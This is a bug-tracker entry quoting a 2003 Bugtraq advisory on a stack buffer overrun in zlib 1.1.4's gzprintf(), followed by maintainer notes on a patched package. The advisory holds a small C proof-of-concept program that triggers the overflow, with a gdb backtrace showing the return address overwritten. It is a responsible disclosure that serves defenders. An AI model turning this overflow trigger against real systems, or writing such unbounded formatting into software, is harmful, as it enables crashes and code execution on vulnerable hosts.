Bugzilla Bug 16258

Return-Path: <bugtraq-return-8395-kain=kain.org@securityfocus.com>
X-Original-To: kain@kain.org
Delivered-To: kain@kain.org
Received: from artemis.kain.org (artemis [10.46.254.1])
	by noir.kain.org (Postfix) with ESMTP id 4206A3351F3
	for <kain@kain.org>; Sun, 23 Feb 2003 10:25:18 -0600 (CST)
Received: from outgoing3.securityfocus.com (outgoing3.securityfocus.com
[205.206.231.27])
	by artemis.kain.org (Postfix) with ESMTP id A816D1B77D
	for <kain@kain.org>; Sun, 23 Feb 2003 10:25:17 -0600 (CST)
Received: from lists.securityfocus.com (lists.securityfocus.com [205.206.231.19])
	by outgoing3.securityfocus.com (Postfix) with QMQP
	id 3C6E4A30B4; Sun, 23 Feb 2003 09:21:39 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 32657 invoked from network); 22 Feb 2003 00:00:27 -0000
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <wwvptpl5gdg.fsf@rjk.greenend.org.uk>
Date: Sat, 22 Feb 2003 00:05:47 +0000
X-Face: h[Hh-7npe<<b4/eW[]sat,I3O`t8A`(ej.H!F4\8|;ih)`7{@:A~/j1}gTt4e7-n*F?.Rl^
     F<\{jehn7.KrO{!7=:(@J~]<.[{>v9!1<qZY,{EJxg6?Er4Y7Ng2\Ft>Z&W?r\c.!4DXH5PWpga"ha
     +r0NzP?vnz:e/knOY)PI-
X-Boydie: NO
From: Richard Kettlewell <rjk@greenend.org.uk>
X-Mailer: Norman
To: bugtraq@securityfocus.com
Subject: buffer overrun in zlib 1.1.4
X-Mailer: VM 7.03 under 21.4 (patch 6) "Common Lisp" XEmacs Lucid
Content-Length: 2924

zlib contains a function called gzprintf().  This is similar in
behaviour to fprintf() except that by default, this function will
smash the stack if called with arguments that expand to more than
Z_PRINTF_BUFSIZE (=4096 by default) bytes.

There is an internal #define (HAS_vsnprintf) that causes it to use
vsnprintf() instead of vsprintf(), but this is not enabled by default,
not tested for by the configure script, and not documented.

Even if it was documented, tested for, or whatever, it is unclear what
platforms without vsnprintf() are supposed to do.  Put up with the
security hole, perhaps.

Finally, with HAS_vsnprintf defined, long strings will be silently
truncated (and this isn't documented anywhere).  Unexpected truncation
of strings can have security implications too; I seem to recall that a
popular MTA had trouble with over-long HELO strings for instance.

I contacted zlib@gzip.org, and they say they're happy for me to post
about this.

ttfn/rjk

    $ cat crashzlib.c
    #include <zlib.h>
    #include <errno.h>
    #include <stdio.h>

    int main(void) {
      gzFile f;
      int ret;

      if(!(f = gzopen("/dev/null", "w"))) {
        perror("/dev/null");
        exit(1);
      }
      ret = gzprintf(f, "%10240s", "");
      printf("gzprintf -> %d\n", ret);
      ret = gzclose(f);
      printf("gzclose -> %d [%d]\n", ret, errno);
      exit(0);
    }
    $ gcc -g -o crashzlib crashzlib.c -lz
    $ ./crashzlib 
    Segmentation fault (core dumped)
    $ 
    $ dpkg -l zlib\* | grep ^i
    ii  zlib1g         1.1.4-1        compression library - runtime
    ii  zlib1g-dev     1.1.4-1        compression library - development
    $ gdb crashzlib core
    GNU gdb 2002-04-01-cvs
    Copyright 2002 Free Software Foundation, Inc.
    GDB is free software, covered by the GNU General Public License, and you are
    welcome to change it and/or distribute copies of it under certain conditions.
    Type "show copying" to see the conditions.
    There is absolutely no warranty for GDB.  Type "show warranty" for details.
    This GDB was configured as "i386-linux"...
    Core was generated by `           '.
    Program terminated with signal 11, Segmentation fault.
    Reading symbols from /usr/lib/libz.so.1...done.
    Loaded symbols for /usr/lib/libz.so.1
    Reading symbols from /lib/libc.so.6...done.
    Loaded symbols for /lib/libc.so.6
    Reading symbols from /lib/ld-linux.so.2...done.
    Loaded symbols for /lib/ld-linux.so.2
    #0  0x400944b2 in _IO_default_xsputn () from /lib/libc.so.6
    (gdb) bt
    #0  0x400944b2 in _IO_default_xsputn () from /lib/libc.so.6
    #1  0x4008b52a in _IO_padn () from /lib/libc.so.6
    #2  0x40075128 in vfprintf () from /lib/libc.so.6
    #3  0x4008c0c3 in vsprintf () from /lib/libc.so.6
    #4  0x4001c923 in gzprintf () from /usr/lib/libz.so.1
    #5  0x20202020 in ?? ()
    Cannot access memory at address 0x20202020
    (gdb) $ 


Reproducible: Always
Steps to Reproduce:

I've commited masked ebuilds with a patch the fixes this issue, but I want it
tested 
some before I unmask it. 

Tested for 1 month, seems ok so unmasking 1.4-r1 and closing this bug :)